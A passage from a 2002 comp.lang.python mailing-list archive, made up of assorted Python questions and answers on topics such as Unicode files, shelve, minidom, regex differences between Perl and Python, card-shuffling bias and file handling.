codecs.open("/tmp/utf16","a","utf-16") >>> f.write(u"a") >>> f.close() >>> f = open("/tmp/utf16","r") >>> f.read() '\xff\xfea\x00\xff\xfea\x00' Submitted as request #555360 on the tracker, including the request for a BOM8 constant and the wrong sizes (or names?) of BOM64 and BOM32. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From aleax at aleax.it Sun May 5 09:42:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 13:42:10 GMT Subject: Using functional tools References: Message-ID: RPM1 wrote: ... > There's just one problem. When I try to download Numeric, I keep > getting 'page not found' from Source Forge. You may get it as a part of scipy, http://www.scipy.org/ , but I guess that might have extras you don't care about. Anyway, there are several mirrors you can choose e.g. from http://prdownloads.sourceforge.net/numpy/Numeric-21.0.tar.gz -- are *ALL* of them 'not found' ... ? Alex From rdacker at pacbell.net Wed May 15 18:47:26 2002 From: rdacker at pacbell.net (rdack) Date: 15 May 2002 15:47:26 -0700 Subject: column size Message-ID: <644f6688.0205151447.4d5b7cf8@posting.google.com> i am using python with libpq to access a postgresql db. fields for a table where created as char(33) and other fixed sizes. can someone tell me how to retrieve the column size from a query or the connection object? From dryose at juno.com Tue May 21 16:26:35 2002 From: dryose at juno.com (yose) Date: 21 May 2002 13:26:35 -0700 Subject: Python (2.2) on Solaris 8 (64-bit) References: <79d1869.0205200713.324bee25@posting.google.com> Message-ID: <79d1869.0205211226.7593e1@posting.google.com> martin at v.loewis.de (Martin v. Loewis) wrote in message news:... > dryose at juno.com (yose) writes: > > > If anyone has any experience with Python (2.2) on a solaris 8 (64 bit) > > install, I would greatly appreciate the help! > > Most likely, the socket module failed to build; it would help if you > had reported that fragment of the make output dealing with sockets > (save the entire make output into a file, then search for "socket"). > > Most likely, it detected a 32-bit OpenSSL installation, which it then > could not link to the socket module. Edit Modules/Setup to incorporate > _socket explicitly - that gives you the choice of either pointing to a > 64-bit OpenSSL installation, or leaving out SSL support. > > Regards, > Martin Can you pls give me specific instructions on how to do this? Yose From sholden at holdenweb.com Fri May 31 09:51:32 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 09:51:32 -0400 Subject: What does Python offer? References: Message-ID: "Simon Brunning" wrote ... > > From: aahz at pythoncraft.com [SMTP:aahz at pythoncraft.com] > > >This could start to look like a disadvantage if phrased slightly > > >differently... we're not saying that the whole Python edifice will > > >crumble if one man disappears, are we? I hope that's not what you > > >mean. > > > > Nobody knows. There isn't any official policy about what happens if > > Guido gets hit by a beer truck. OTOH, the infrastructure won't just > > crumble; the problems are all political, and there's no reason to > > believe (particularly now that PSF exists) that some solution can't be > > found. > > All the same, I'd still rather that he *wasn't* hit by a beer truck. Guido > dead, *and* spilt beer - what a catastrophe. > He isn't *that* substantial. Not a drop would be spilled. though-personally-i'd-prefer-guido-and-python-ly y'rs - steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From claird at starbase.neosoft.com Fri May 3 09:31:20 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 3 May 2002 08:31:20 -0500 Subject: Low level python References: Message-ID: <3D69F3B2E48FE7D1.9E9AD348AD589AE7.7D732D40164F88DD@lp.airnews.net> In article , Sean 'Shaleh' Perry wrote: . . . >Use python as a rapid devel and testing tool then switch over to C++ for the >final product. You get the python hacking the customer gets the performance >they want. . . . Whoops! You left out a couple of clauses; it's, "Use python as a rapid devel and testing tool then be prepared to switch over to C++ for the final product, if explicit requirements demand it. You get the python hacking, the customer gets the performance he specified (but perhaps not more)." -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From sholden at holdenweb.com Mon May 6 08:10:46 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 08:10:46 -0400 Subject: making python scripts backwards compatible References: Message-ID: "dsavitsk" wrote in message news:ab3rlq$edl$1 at news.doit.wisc.edu... > this begs the question, why not put a comment that announces what version > you, the author, used to write the code? This at least puts the user on > notice. > Ans this in turn begs the question, does the author even *know* what versions her software works on? Not everyone who uses Python is in touch wiht the hjistory of its syntax and feature set. If I start using Python tomorrow, do I have to learn what features 1.5.2 includes so I can provide backward compatibility? and-even-then-the-1.4-users-would-complain-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From macdonaldrj at worldnet.att.net Fri May 3 23:49:08 2002 From: macdonaldrj at worldnet.att.net (Richard MacDonald) Date: Sat, 04 May 2002 03:49:08 GMT Subject: Golfing in 'your-language-here' References: <3CCD6D8B.80C387E3@ameritech.net> <3CCE16F0.3020108@hgardner.com> <3CCE90B0.66B8C6AD@ameritech.net> <50f2f950.0205011543.79e7bb9d@posting.google.com> <3CD125F1.29C02AEA@ameritech.net> <50f2f950.0205031142.6c263b95@posting.google.com> Message-ID: "Michael Chean" wrote in message news:50f2f950.0205031142.6c263b95 at posting.google.com... > O.K. I'm speaking way outside my experience, but my understanding of > Pocket Smalltalk (http://www.pocketsmalltalk.com/) is that it started > with a Dolphin front end which generated a Palm smalltalk code. Sadly, much as I like the guys who did the work, I had to put it aside due to a lack of debugging capability. Not ready for prime time. However, there does seem to be some recent activity at their web site, so perhaps they're about to attempt another push. From phd at phd.pp.ru Tue May 7 04:50:17 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 7 May 2002 12:50:17 +0400 Subject: survey: is shelve broken? should it be fixed? In-Reply-To: <8mMB8.12837$CN3.452004@news2.tin.it>; from aleax@aleax.it on Tue, May 07, 2002 at 08:36:20AM +0000 References: <8mMB8.12837$CN3.452004@news2.tin.it> Message-ID: <20020507125017.E3761@phd.pp.ru> On Tue, May 07, 2002 at 08:36:20AM +0000, Alex Martelli wrote: > >>> s=shelve.open('ciao','c',smart=1) > >>> s['ciao'] > [0, 1, 2, 3] > >>> s['ciao'].append(23) > >>> s['ciao'] > [0, 1, 2, 3, 23] > >>> s.close() > >>> s=shelve.open('ciao','c') > >>> s['ciao'] > [0, 1, 2, 3, 23] +0 Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From peter at engcorp.com Thu May 30 19:51:33 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:51:33 -0400 Subject: Where can I find .join() in the docs References: Message-ID: <3CF6BB05.D8D5FF9@engcorp.com> Michael Chermside wrote: > > > Michael Chermside > > Specifically, I went to the Python Library Reference (which you will > > find stashed under your pillow), Chapter 2 (built-in stuff), then went > > to the section on sequences (which Strings are) and the page on > > Strings. > > Emile van Sebille: > > ...which illustrates a difficulty for a newbie... knowing it's 'built-in > > stuff' then further knowing that strings are classified under > > sequences... > > Good point. How many people feel that the Python docs would be improved > by the addition of an index? And in case the response is overwhelming, > who currently manages the docs so I could volunteer to work on an index? Isn't http://www.python.org/doc/current/lib/genindex.html good enough? It lists these, which would probably have solved the OP's problem. (These are links in the HTML document...) join() (in module os.path) join() (in module string) join() (string method) join() (Thread method) -Peter From bokr at oz.net Thu May 16 21:34:00 2002 From: bokr at oz.net (Bengt Richter) Date: 17 May 2002 01:34:00 GMT Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: On Fri, 17 May 2002 11:56:43 +1200, Greg Ewing wrote: >Laura Creighton wrote: >> >> The ability to rank something and whether it is objective or not are >> independent concepts. > >But for the ranking to be objective, it has to be >independent of the person doing the ranking. > >> I could find the 3 best, and the 2 worst with no trouble, and there >> was broad consensus in the room about this. There was disagreement >> as to the precise ranking, however. > >Which says to me that the ranking process is *not* >completely objective. Not because the process involves >people using their senses, but because the result >depends on who is doing it. > I agree. Chacun a son gout. The way your brain modulates whatever is the basis of your conscious experience of enjoyment is peculiar to you, though we can usefully assume there are similarities. I've heard of a wine taster who has synaesthesia that gives him texture sensations that normally come from touching various spiky or velvety or glassy etc. surfaces. This gives him the ability to recognize a wine that he has tasted before based on sensations that 'normal' people don't experience. I am sure that helps him classify wines in a much richer feature space, but does that mean I will enjoy his recommended wines? Not necessarily. It might be a good bet, that's all. IMO ranking wine generates possibly useful statistics about wine/winetaster relationships, but nothing purely about the wine. Learning to recognize what someone else enjoys is no substitute for learning to recognize what you yourself enjoy, though it will help you be nice to your significant someone else, if you pay attention to the right authority ;-) Regards, Bengt Richter From marklists at mceahern.com Mon May 13 13:28:15 2002 From: marklists at mceahern.com (Mark McEahern) Date: Mon, 13 May 2002 12:28:15 -0500 Subject: File write/read question In-Reply-To: <78bc9697.0205130907.4288e607@posting.google.com> Message-ID: [Nathan Hellmers] >#2 > >test2 = open("test.txt", "r") >a = test2.readline() >int(a) >print a + a >---------------- > >That successfully reads the number 1 from the file and assigns the >variable "a" to it, but the printout is 1 1 (on two lines) rather than >2. Using type I can see that "a" was not converted to an integer. I >can also see that "a" actually equals "a\n". If I slice off the \n >with "a = a[0:1]", I still can't convert it to an integer. Strings are immutable so int(a) returns an int--but you don't bind it to anything. Try this instead: a = int(a) Cheers, // mark From gumuz at looze.net Tue May 14 04:38:05 2002 From: gumuz at looze.net (Guyon Moree) Date: Tue, 14 May 2002 10:38:05 +0200 Subject: 3rd party modules Message-ID: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> usually if i download a module from some website, there is usually a setup.py included. most of the times i just copy the main python file to my 'lib folder' and i am able to import it. now i'm just wondering if i am doing this the right way and what am i supposed to do with this setup.py? thanx, guyon From phlip_cpp at yahoo.com Fri May 3 18:32:54 2002 From: phlip_cpp at yahoo.com (Phlip) Date: Fri, 03 May 2002 22:32:54 GMT Subject: How does vim.py from python-vim.sourceforge.net work? References: <63604d2.0205031001.38b07376@posting.google.com> Message-ID: Phlip wrote: > I'm attempting to perform the Refactor "Replace Documentary Comment With > Test" on vim.py, and I have gotten this far: if __name__ == '__main__': dpy = display.Display() aComWin = commWindow(dpy) thing = aComWin.lookup_name('RAD') print repr(thing) aServer = server(aComWin, 'RAD', thing) print aServer.is_still_valid() print aServer.valid aServer.send('iHello World!') The first problem with my earlier post was I had vim 6.0z. Now that I have 6.0.19 it supports the servername command: gvim --servername RAD The python-vim and python-xlib now spew many print statements to the effect that they found a vim window called RAD, but the gvim itself never shows the "Hello World" response. What am I missing? Is there a more inscrutable command to send? BTW private e-mail revealed to fix the prior error I should just tweak the code: # Split up the result.value by "\0" if result is not None: r = result.value.split("\0") else: r = [] Yes, I would have tried that eventually. -- Phlip http://www.greencheese.org/PeaceAndCalm -- Set phasers on illin' -- From brian at sweetapp.com Fri May 3 17:37:48 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Fri, 3 May 2002 14:37:48 -0700 Subject: minidom and problem with getElementsByTagName() In-Reply-To: Message-ID: <007401c1f2ea$c5400220$445d4540@Dell2> > I got 'first', 'a'. I wanted: 'first', 'second'. It seems to work as > XPath for '//nr' but I want only 'nr'. It means, I want to get all > nodes at the current level NOT to every descendants. :-( > > Can I make minidom for getting childeren nodes without recursion? Do > getElementsByTagName() method works always with recursion??? getElementsByTagName() is defined in the W3 DOM specification. Any implementation that does not examine the entire tree is broken. If you want to use minidom, use the other DOM functions to navigate the document e.g. firstChild, childNodes, nodeName, etc. Cheers, Brian From kragen at pobox.com Mon May 20 02:05:46 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 02:05:46 -0400 Subject: Ruby for Newbie?! References: Message-ID: <83wutzs69x.fsf@panacea.canonical.org> Scrumpy writes: > 2/ IDE. > Python: Boa Constructor, Pythonwin, IDLE. Don't forget Emacs, the most widely used IDE for Python. > RUBY: Practical Ruby (basic IDE for Windows). Is there a Linux IDE for > Ruby? Ruby Emacs support is distributed with ruby and integrated into XEmacs. It doesn't look like Emacs ruby-mode includes the IDE features of Emacs python-mode, like integration into an interactive Python shell and interaction with stack dumps. But I don't know Ruby. From huaiyu at gauss.almadan.ibm.com Fri May 10 21:45:04 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 11 May 2002 01:45:04 +0000 (UTC) Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Martin v. Loewis wrote: > >For the Unicode type, nothing would change - Stephen did not propose >to change the Unicode type. > >Instead, he proposed that non-ASCII identifiers are represented using >UTF-8 encoded byte strings (instead of being represented as Unicode >objects); in that case, and for those identifiers, len() would return >the number of UTF-8 bytes. But would that be different from the number of characters? My confusion comes from his assertion that Python itself does not need to care whether it's raw string or unicode. Is there any need for the interpreter to split an identifier into sequence of characters? If the answer is no, then I guess my question is moot. > >> A list of such simple questions and answers for various proposals >> would help many more people to understand the relevant PEPs. > >I recommend you familiarize yourself with the Unicode support first >that was introduced in Python 2.0. My question was about what would be the case under the proposals. But I guess I'm way out of my domain here. Huaiyu From postmisc at yahoo.com.au Mon May 20 04:44:01 2002 From: postmisc at yahoo.com.au (Patrick) Date: Mon, 20 May 2002 18:44:01 +1000 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> Message-ID: "phil hunt" wrote in message news:slrnaeh8il.gf3.philh at comuno.freeserve.co.uk... > > To the best of my knowledge(*), C# is the only high-level language > designed explicitly to lock programmers in to a vendor. Submitting the language to a standards body and opening it up to other implementors is hardly a clever way to lock programmers into a specific vendor. C# has been standardised by ECMA, which leaves anyone free to provide their own implementation. http://www.ecma.ch/ecma1/STAND/ecma-334.htm At least one non-Microsoft implementation of C# already exists: http://www.go-mono.org From pyth at devel.trillke.net Thu May 9 05:57:52 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 11:57:52 +0200 Subject: "a better input" In-Reply-To: References: Message-ID: <20020509095752.GU4604@devel.trillke> Gareth McCaughan wrote: > Alex Martelli wrote: > > [I said:] > > >> To expand: we could really do with something that lets the user > > >> enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" > > >> and returns the same as |input| does for those, but that doesn't > > >> permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". > > > > You'll have to pin that down more closely, as I can't see any > > easily definable difference between operators used as in: > > -2+6j > > and operators used as in: > > 2**6 > > yet apparently you want to allow the former but forbid the latter > > (why? what is gained in forcing people to do this in their head?). > > I don't actually mind if an input() replacement evaluates 2+3. > I do mind if it is able to do arbitrary computation, where > "arbitrary" is fuzzily defined to cover things like > > 1 anything that could take a large amount of time or > memory to compute; > > (rationale: we don't want to facilitate DoS attacks; > users will find it counterintuitive if what they think > of as reading a value can consume unbounded resources.) > 2 anything that could compromise security if an attacker > were allowed to decide what got read by input(); > > (rationale: obvious.) > > 3 anything that can't be explained quite accurately and > quite quickly to a non-expert. > > (rationale: whatever input() does, we want to be able > to explain it; one of Python's big attractions is that > it's easy for beginners to get their heads round.) IMO, don't add such things to python. If you really need such security use the mechanisms of your OS e.g. restricted execution or even Jails/Bsd or UserModeLinux which give you security on the *system call* level even if you are executing as *root*. This way you can still use the full power of any C-extension or cmdline-tool... That's a fundamentally better approach than fiddling with some functions in python and quite possibly bloating the API and the language. holger From julia.bell at jpl.nasa.gov Mon May 13 15:26:54 2002 From: julia.bell at jpl.nasa.gov (Julia Bell) Date: Mon, 13 May 2002 12:26:54 -0700 Subject: Read file from bottom Message-ID: <3CE01380.81F9A087@jpl.nasa.gov> I'm currently using line = input_handle.readline() to read individual lines from an input file; however, I'm only generally interested in the last few lines of the line (not the preceeding several thousand lines). Is there an efficient (and relatively easy - I'm new to Python) way of reading the file from the last line backward instead of the first line forward? (I do not want to read the entire file using readlines because it could overwhelm the memory.) From whisper at oz.net Thu May 30 22:27:49 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 30 May 2002 19:27:49 -0700 Subject: Spiral In-Reply-To: <3CF6467A.6020905@attbi.com> Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Pete Shinners > Sent: Thursday, May 30, 2002 8:35 > To: python-list at python.org > Subject: Re: Spiral > > i'd be curious to know about the speed? on my celeron 1.3g it is almost > instantaneous. i'm not sure how the basic version compares, but i'm sure > it's close. > > "Instantaneous" is pretty independant of number if instructions executed for some fairly large values of number of instructions executed at any speed over 1GHZ :=) David LeBlanc Seattle, WA USA From kwokng at earthlink.net Fri May 10 16:01:26 2002 From: kwokng at earthlink.net (Billy Ng) Date: Fri, 10 May 2002 20:01:26 GMT Subject: Error Log References: <117880a1.0205101048.2fd9e396@posting.google.com> Message-ID: Thanks! logfile.py is good for me to start. I will modify it to output the xml, so the admin can view it with a xsl. Billy Ng "Steve Holden" wrote in message news:ONUC8.63050$m26.28142 at atlpnn01.usenetserver.com... > "J?rgen Hansen" wrote in message > news:117880a1.0205101048.2fd9e396 at posting.google.com... > > "Billy Ng" wrote in message > news:... > > > I need to write a error log module that append the error line into a log > > > file every time an exception is thrown. Would anybody please give me > input > > > for how to do it in pytohn, thanks! > > > > > > Billy Ng > > > > Vinay Sajip has made a logging module: > > http://www.red-dove.com/python_logging.html which you could look into. > > I have made a very basic version of it, which I could email with some > > examples if you want to. > > > > I just realised it might actually be the "get the exception details" that > Billy is looking for, not the logging stuff. In which case a look at the > recent (2.2, I believe) cgitb module might help. If not, a further > alternative is > > http://www.holdenweb.com/Python/PDCode/logfile.py > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > > From varney at collorado.edu Fri May 31 00:43:29 2002 From: varney at collorado.edu (Mike Varney) Date: Thu, 30 May 2002 22:43:29 -0600 Subject: Python program problem involving reading a web site. References: <3CF6F290.ACAA4FEF@engcorp.com> <3CF700DD.5C0EE136@engcorp.com> Message-ID: "Peter Hansen" wrote in message news:3CF700DD.5C0EE136 at engcorp.com... > Mike Varney wrote: > > > > "Peter Hansen" wrote: > > > Mike Varney wrote: > > > > > > > > I wrote a quick little program that is supposed to read the html from a > > > > web site and to update the web counter to show another hit. > > > > > > Is there some valid reason for updating a web counter in this way? > > > [snip unhelpful reply] > > Regardless, it is a question related to the implementation of python. > > What does that imply? That the question must be answered? I'm > an engineer: I have concerns about the misuse of technology, and > I consider the moral consequences of my actions, including when I > might provide assistance with problems which apparently have no > redeeming social merit. Blah blah blah. Don't answer if you do not want to. > > > It smells like the moral equivalent of ballot-stuffing... maybe I'm > > > just missing something. > > > > Yup. But the question still remains. > > And will remain, unanswered by me at least. Fine. Thanks anyhow. :-) Now, back to work in my physics lab creating the ultimate weapon... endless re-runs of Bush's inaugural address. From rob at zoism.org Thu May 9 00:20:28 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 09 May 2002 16:20:28 +1200 Subject: streaming audio In-Reply-To: References: Message-ID: <1020918028.29965.32.camel@orion.zoism.org> On Wed, 2002-05-08 at 03:02, Bill Tate wrote: > At the very lest, its would be worth familarizing yourself with the > background on stackless and why it was created. I shall, thanks -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From DLNXPEGFQVEB at spammotel.com Mon May 13 03:43:45 2002 From: DLNXPEGFQVEB at spammotel.com (Christos Georgiou) Date: Mon, 13 May 2002 10:43:45 +0300 Subject: Is there such a beast as a "perfect" shuffle? :) References: Message-ID: On Sun, 12 May 2002 03:00:27 -0400, rumours say that Tim Peters might have written: >> http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 > >[Christos Georgiou] >> This seems to be what I want, as long as it works. Thanks, tim_one. > >How will you know whether it works <0.1 wink>? While the std >random.shuffle() can only get at a miniscule percentage of the possible >permutations of a deck of cards, random.random()'s period is about 7e12, and >that's enough for an awful lot of permutations. Do you have a test in mind >that can distinguish them from a truly random sampling? If not, you're >probably making life needlessly difficult. Well, I know it works because you say it does . Seriously now, you surely got a point. And having tested quite thoroughly (I think) during the weekend, it seems indeed that I am splitting hairs. >[Christopher Browne] >> ... >> The nonintuitive part is that the random range shrinks as you move >> along. If you leave the range open, there's a bit of a bias. It's a >> significant bias, if there are only 3 cards. It's not nearly so >> significant with 52. >> >> You could do far worse than running through the 52 locations and, for >> each one, swap it with a randomly selected location. That will >> certainly shuffle things about pretty decently. > >[back to Christos] >> ... >> The algorithm I always[1] used for shuffling a sequence / array was the >> one you describe in your last paragraph, and I am not that sure about >> the effectiveness of the 'non-intuitive' modification, but I have not a >> reason to doubt you, apart from my programmer's stubbornness :). > >Christopher is right, and if you haven't detected any bias from the >algorithm you've been using, it really doesn't matter which random number >generator you use . Ouch! :) >Simple proof: suppose at each of 52 positions, you swap the current >position with any of the 52. Then you make 52 choices 52 times, so there >are 52**52 possible ways the algorithm can go. Since 52! doesn't divide >52**52 evenly, the algorithm necessarily favors some permutations over >others. >In Christopher's variation (which the std random.shuffle implements), at the >first position you make one of 52 choices, at the second position one of 51 >choices, and so on. There are 52! possible ways the algorithm can go, and >52! does divide into that evenly. That doesn't prove it's a correct >algorithm (see, e.g., Knuth for a proof -- it's easy), but it does show that >it's not obviously broken. > >Play with this: > >def shuffle(N): > from random import randrange > countfirst = [0] * N > count = 0 > while 1: > count += 1 > cards = range(N) > # Bad algorithm! > for i in range(N): > j = randrange(N) > cards[i], cards[j] = cards[j], cards[i] > first = cards[0] > countfirst[first] += 1 > if count % N == 0: > print countfirst > >shuffle(52) > >If you pass 1 or 2, there's no bias evident in which card ends up in the >first position after shuffling. In fact, the algorithm *is* fair for N=1 >and N=2. But for N > 2 the bias is obvious from inspection of the output, >and, contrary to Christopher's claim, it's a major bias at N=52 too. Look >at, e.g., how often the original 2nd card ends up in the first position, >compared to how often the original last card ends up first: it's harder for >the last card to end up first. This isn't because of a bias in >random.randrange: the *algorithm* simply gives the second card more chances >than the last to end up first. OTOH, every card has an equal chance of >ending up in the last position. The breakage is subtle that way, but it's >real and highly significant. Yep, you surely made your point by logic and by code; I agree that Christopher is right, after checking the output of your program with both algorithms. I will forget about the 70th digit and go on with the 13th, it's fine. Anyway, late thanks to all posting in this thread, especially: Christopher for offering an improvement to my algorithm Tim for taking me by the hand Terry for doing some homework for me -- TZOTZIOY, I speak England very best, Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64') From gherron at islandtraining.com Wed May 29 17:22:45 2002 From: gherron at islandtraining.com (Gary Herron) Date: Wed, 29 May 2002 14:22:45 -0700 Subject: Why no open(f, "w").write()? In-Reply-To: References: Message-ID: <200205291422.45264.gherron@islandtraining.com> On Wednesday 29 May 2002 01:05 pm, Sean 'Shaleh' Perry wrote: > On 29-May-2002 Michael P. Soulier wrote: > > On 24 May 2002 07:53:38 GMT, Markus Demleitner > > > > wrote: > >> The Jython docs state that > >> open("some.name", "w").write(stuff) > >> is bad programming practice (and indeed claim that in Jython, > >> the above construct leaves some.name empty). > > > > I can't speak for Jython, but in CPython 2.1, it works fine. > > > >>>> stuff = "stuff to write" > >>>> open('stufffile', "w").write(stuff) > >>>> open('stufffile', "r").read() > > > > 'stuff to write' > > yes, but can you disagree with the statement that it is bad programming > practice. I sure can't. Here's why its a bad practice: The question is: When does the file get closed? The expectation is that the file object will be garbage collected immediately after the statement is executed (since that's when its ref count goes to zero), and that this will force the file to be closed. And in fact the traditional CPython implementation of Python behaves in exactly this way. However, Python does not guarantee to garbage collect immediately as the refcount goes to zero, and in fact Jython does NOT do so,instead relying on Java's garbage collection. Thus the "bad" part of this programming practice is that the timing of the implied close is dependent Python implementation issues (i.e., the timing of the garbage collection), and such dependencies are never a good thing to rely on. Gary Herron From shalehperry at attbi.com Sat May 25 12:57:38 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 09:57:38 -0700 (PDT) Subject: Please help a newbie. In-Reply-To: Message-ID: On 25-May-2002 SA wrote: > I'm trying to learn Python. I was going through the 24 hour book for python > and being new to programming, I got quite confused by the books explanation > on OOP. Does anyone know of some good tutorials on line that explain this > concept and in particular how it relates to Python. > 1) tutor at python.org, a mailing list especially for those new to python or coding. 2) www.python.org has many references and docs on line. A quick web search (try www.google.com) will also provide you with many more items to read. the 24hour book is one of the lesser quality books. Like a dummys book it is fine for the first few days or weeks but is useless as a reference or a solid foundation. From cbbrowne at acm.org Mon May 20 01:59:46 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Mon, 20 May 2002 01:59:46 -0400 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> Message-ID: Oops! Tim Daneliuk was seen spray-painting on a wall: > Dean Goodmanson wrote: >> >> > > Nevertheless, >> > > your paper is quite interesting in its own right, it's just in the >> > > wrong newsgroup. >> > >> > I had to resort to Ctrl-F in Netscape to find the connection. The >> > paper *does* mention Python, almost in passing, and Forth... >> > >> > -Peter >> >> After skimming the paper (and Ctrl-F,etc.), I was interested to see >> what the original discussion on this paper was. >> >> I didn't find an exact hit in comp.lang.forth, but did find this: >> http://groups.google.com/groups?hl=en&lr=&selm=3CE57855.AE29FA7E%40tundraware.com >> >> I found the python portion especially interesting in light of Jython & >> .Net: >> >> "I reserve the right to be wrong, but it seems to me that we ought to > > > > I am hopeful that both .NET and Jython (as well as other such efforts) > yield meaningful results. I have no direct experience with either, but > I am a bit sceptical, only because such efforts historically (like > the UCSD P system) have been less than spectacular. Certainly, there is > reason to believe this is more feasible today because of the much faster > processors and larger memories at our disposal. > > .NET particularly ought to be view with great scepticism, IMO. It seems > clear to me that, for commercial reasons, the real focus of the CLR will > be C# which does not really meet the 'multi-paradigm' requirement. Indeed. What would be much more interesting to see succeed would be the Perl-related "Parrot VM." Unlike the VMs from Sun and Microsoft, it has the merit that there's nobody with gazillion dollar pocketbooks that have a commercial interest in trying to make sure that would-be competitors fail. -- (reverse (concatenate 'string "gro.mca@" "enworbbc")) http://www.cbbrowne.com/info/perl.html#PARROT Colorless green ideas sleep furiously. -- Noam Chomsky From deltapigz at telocity.com Sun May 5 20:46:10 2002 From: deltapigz at telocity.com (Adonis) Date: Sun, 5 May 2002 20:46:10 -0400 Subject: threads and return values Message-ID: <3cd5d63a$1_4@nopics.sjc> if i push a function into a thread, how can i retrieve the value of the returning function? any help would greatly be appreciated. Adonis From marklists at mceahern.com Wed May 1 09:58:50 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 08:58:50 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <3CCF7564.4460B123@cascade-sys.com> Message-ID: [James J. Besemer] > Superior probably is too strong a word, though regex in Perl is a > little easier to get to right out of the box. I.e, regex is part > of Perl's "builtins". Thank you for your response. I'm not terribly familiar with Python's re module, but I'll see if I can duplicate the examples you provided... > PERL regex example: > > # No import, compile, function or object syntax. > # Implied match is with the "current" thingy ( $_, IIRC) As others have remarked, I prefer the explicitness of Python's re module--you have to import it to use it. > > action() if /regex/ ; # perform action() if regex match Well, literally speaking, as far as I know there's no Python equivalent to this. To get a sense of why, you can type "import this" into the Python interactive interpreter. ;-) Nonetheless, you can do the equivalent fairly easily by explicitly specifying the string you want to match: import re s = "Explicit is better than implicit." pat = re.compile("licit") if pat.search(s): action() > To match with a specific object, say, a variable you use the "=~" > operator. > > action( $a) if $a =~ /regex/ ; # perform action if regex matches $a I think the same Python example above covers this situation. > Note that the statement for substitute is like the "vi" command: > > $a ~ s/old/new/gi if $a =~ /pattern1/; > > # substitue "new" for "old" in $a if $a matches pattern1 > # g suffix for global replacement > # i suffix for case insensitive comparison You can use the re.sub() to replace count occurrences of a pattern: import re s = "Explicit is better than implicit." old = re.compile("e", re.IGNORECASE) new = "f" count = 1 if pat.search(s): s2 = re.sub(old, new, s, count) print s2 Not specifying count means replace 'em all. > The basic regex operators are similar to Python's, though Perl > adds some extras such as > > {n,m} # preceeding pattern matches at least n but no more > than m times Python has that too: http://www.python.org/doc/current/lib/re-syntax.html > A successful match sets a flurry of global variables: > > $& = the matched portion of the input string > > $` = everything before the match > > $' = everything after the match Thank Crom Python doesn't do that. As someone else mentioned, these things are tucked away into match objects, if you want them, rather than being squirted into your namespace. > Parentheses in the regex break the matching pattern into "groups" and the > portions of the string coresponding to each group may be accessed via: > > $1, $2, ... > > E.g., > > s/^([^ ]* *([^ ]*)/$2 $1/; # reverse order of 2 words This switches the first and last words of a sentence. I didn't bother putting the period back in there or sentence-casing the new first word. import re s = "Explicit is better than implicit." pat = re.compile("^(\w+)(.* )(\w+)\.$") m = pat.search(s) if m: print "%s%s%s" % (m.groups()[2], m.groups()[1], m.groups()[0]) > if( /Time: (..):(..):(..)/ ){ # extract hh:mm:ss fields > $hours = $1; > $min = $2; > $sec = $3; > } Here's a case where Python's ability to name groups is interesting: import re, time t = time.asctime() pat = re.compile("(?P\d{2})\:(?P\d{2})\:(?P\d{2})") m = pat.search(t) if m: print m.group('hour') print m.group('minute') print m.group('second') else: print "Not found." Cheers, // mark From tdelaney at avaya.com Sun May 12 20:47:05 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Mon, 13 May 2002 10:47:05 +1000 Subject: print string+ in for loop Message-ID: > From: Kevin Kohiruimaki [mailto:kevin at no.mail.com.avaya.com] > > But actually, that is not the point, I know I can do it with > other ways. I > just feel a little weird why you can do > > for c in word: > print c, > > but not > > for c in word: > print c+ It will never go in, but what would you expect the above to do? Give examples of input and output. I have 